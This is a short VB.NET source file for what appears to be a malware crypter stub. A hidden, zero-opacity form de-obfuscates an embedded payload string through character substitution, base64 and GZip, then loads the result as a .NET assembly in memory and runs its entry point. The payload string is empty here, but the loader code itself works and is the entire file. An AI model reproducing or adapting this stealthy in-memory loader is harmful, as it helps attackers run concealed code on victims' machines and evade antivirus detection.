Imports System.IO.Compression
Imports System.IO

Public Class Form1

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.Enabled = False
        Me.Visible = False
        Me.Opacity = 0
        Dim fof As String = ""
        Dim coco As Byte() = DecompressGZip(Convert.FromBase64String(Decrypt(fof)))
        Dim xxx As Object = AppDomain.CurrentDomain.Load(coco).EntryPoint.Invoke("", Nothing)
    End Sub
    Public Function Decrypt(ByVal A As String)
        A = A.Replace("あ", "Z").Replace("国", "O").Replace("日", "1").Replace("本", "9")

        Return A
    End Function
    Public Function DecompressGZip(ByVal bytesToDecompress As Byte()) As Byte()
        Using stream = New GZipStream(New MemoryStream(bytesToDecompress), CompressionMode.Decompress)
            Const size As Integer = 4096
            Dim buffer = New Byte(size - 1) {}
            Using memoryStream = New MemoryStream()
                Dim count As Integer
                Do
                    count = stream.Read(buffer, 0, size)
                    If count > 0 Then
                        memoryStream.Write(buffer, 0, count)
                    End If
                Loop While count > 0
                Return memoryStream.ToArray()
            End Using
        End Using
    End Function
End Class